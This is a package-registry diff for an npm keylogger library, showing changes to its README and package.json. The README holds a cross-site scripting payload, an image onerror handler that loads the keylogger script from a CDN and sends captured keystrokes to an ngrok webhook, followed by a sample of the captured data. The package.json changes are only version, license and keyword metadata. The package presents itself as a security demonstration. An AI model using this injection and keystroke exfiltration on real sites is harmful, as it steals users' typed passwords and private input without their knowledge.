@mihnea.dev/keylogger.js 0.0.5 → 1.0.0-keywords

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +5 -4
  2. package/package.json +6 -1
package/README.md CHANGED
@@ -70,13 +70,14 @@ This step demonstrates embedding Keylogger.js into a vulnerable webpage as part
70
70
  ```html
71
71
  <img src="invalid.jpg" onerror="
72
72
  const script = document.createElement('script');
73
- script.src = 'https://your-cdn-link.com/keylogger.js';
73
+ script.src = 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
74
74
  document.body.appendChild(script);
75
75
  script.onload = () => {
76
- const _ = new Keylogger('https://<random-id>.ngrok.io', true);
76
+ const _ = new Keylogger('https://<random-id>.ngrok.io', false);
77
77
  };
78
78
  ">
79
79
  ```
80
+ ![keylogger js](https://github.com/user-attachments/assets/716178d9-5a57-4bdd-9bc6-2788a705c05f)
80
81
 
81
82
  ### Observing Results:
82
83
  1. The Keylogger.js library captures keystrokes and sends them to the webhook.
@@ -85,8 +86,8 @@ This step demonstrates embedding Keylogger.js into a vulnerable webpage as part
85
86
  Decoded Payload: {"type":"keypress","value":"a","session":{...}}
86
87
  Parsed JSON:
87
88
  {
88
- "type": "keypress",
89
- "value": "a",
89
+ "type": "enter",
90
+ "value": "asdf",
90
91
  "session": {
91
92
  "id": "unique-session-id",
92
93
  "created_at": "2024-11-29T18:00:00Z",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@mihnea.dev/keylogger.js",
3
- "version": "0.0.5",
3
+ "version": "1.0.0-keywords",
4
4
  "author": "Mihnea Octavian Manolache <mihnea.dev@gmail.com> (https://github.com/mihneamanolache/)",
5
5
  "repository": {
6
6
  "type": "git",
@@ -32,5 +32,10 @@
32
32
  "dist",
33
33
  "README.md",
34
34
  "LICENSE"
35
+ ],
36
+ "license": "MIT",
37
+ "keywords": [
38
+ "keylogger",
39
+ "security"
35
40
  ]
36
41
  }